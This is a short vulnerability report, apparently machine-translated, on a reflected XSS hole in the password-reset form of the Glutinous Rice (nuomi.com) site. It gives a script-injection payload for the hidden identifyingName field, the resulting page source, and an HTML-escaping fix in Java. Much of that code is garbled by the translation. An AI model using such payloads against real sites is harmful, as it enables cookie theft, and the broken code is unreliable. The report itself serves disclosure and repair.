XSS reflection and repair of glutinous rice Network

Source: Internet
Author: User

 
Brief description: There is a reflection-type XSS vulnerability in Glutinous Rice. This vulnerability is caused by the absence of verification of hidden fields in the form. Attackers exploit this vulnerability to steal user cookies.
Detailed Description: User Resetting Password normal page:






The hidden field identifyingName of the form resetForm has the XSS reflection vulnerability.

<Form id = "resetForm" action = "/user/passwordRetrieve/getRetrieve" method = "post">

<Div class = "field email">

<Label for = "email"> Email/Mobile Phone: </label>

<Div class = "input-area">

<P>

<Input type = "text" class = "input-txt" id = "email" name = "emobile" value = ""/>

</P>

<P class = "tip"> Email address or mobile phone number used for Logon </p>

</Div>

<Span class = "msg" id = "msgEmail"> </span>

</Div>

<Div class = "field icode">

<Label for = "icode"> Verification Code: </label>

<Div class = "input-area">

<Input type = "hidden" name = "identifyingName" value = "vphtg" id = "identifyingCodeValue" tabindex = "3"/>

<P>

<Input type = "text" class = "input-txt" id = "icode" name = "code"/>

<A href = "javascript:;" onclick = "var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "> can't see clearly? Change one </a>

</P>

</Div>

<Span class = "msg" id = "msgICode"> </span>

</Div>

 

<Div class = "reset-btn">

<Input type = "submit" class = "input-btn big-blue" value = "Reset Password"/>

</Div>

</Form>
Vulnerability proof: Add identifyingName
"/> <Script> alert (XSS) </script>:

 


Page source code:

<Form id = "resetForm" action = "/user/passwordRetrieve/getRetrieve" method = "post">

<Div class = "field email">

<Label for = "email"> Email/Mobile Phone: </label>

<Div class = "input-area">

<P>

<Input type = "text" class = "input-txt" id = "email" name = "emobile" value = ""/>

</P>

<P class = "tip"> Email address or mobile phone number used for Logon </p>

</Div>

<Span class = "msg" id = "msgEmail"> <em class = "error"> enter an Email or mobile phone number </em> </span>

</Div>

<Div class = "field icode">

<Label for = "icode"> Verification Code: </label>

<Div class = "input-area">

<Input type = "hidden" name = "identifyingName" value = ""/> <script> alert (XSS) </script> "id =" identifyingCodeValue "tabindex =" 3 "/>

<P>

<Input type = "text" class = "input-txt" id = "icode" name = "code"/>

<script> alert (XSS) </script> "id =" identifyingCodeImg "onclick =" var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "/>

<A href = "javascript:;" onclick = "var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "> can't see clearly? Change one </a>

</P>

</Div>

<Span class = "msg" id = "msgICode"> </span>

</Div>

 

<Div class = "reset-btn">

<Input type = "submit" class = "input-btn big-blue" value = "Reset Password"/>

</Div>

</Form>
Solution: filter or escape input, especially
"<> % () # & Other symbols and Their deformation. For example:
<,> Can be escaped
& Lt, & gt;
(,) Can be escaped
& #40, & #41;
#, & Can be escaped
& #35, & #38
In ASP/ASP.net, you can use:

Server. HTMLEncode (strHTML String)
In Java, you can use:

Public static String HTMLEncode (String aTagFragment)

{

Final StringBuffer result = new StringBuffer ();

Final StringCharacterIterator iterator = new StringCharacterIterator (aTagFragment );

Char character = iterator. current ();

While (character! = StringCharacterIterator. DONE ){

If (character = <){

Result. append ("& lt ;");

}

Else if (character ==> ){

Result. append ("& gt ;");

}

Else if (character = "){

Result. append ("& quot ;");

}

Else if (character = "){

Result. append ("& #039 ;");

}

Else if (character == \){

Result. append ("& #092 ;");

}

Else if (character == &){

Result. append ("& amp ;");

}

Else {

// If the character is not a special character, add it to the result.

Result. append (character );

}

Character = iterator. next ();

}

Return result. toString ();

}

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.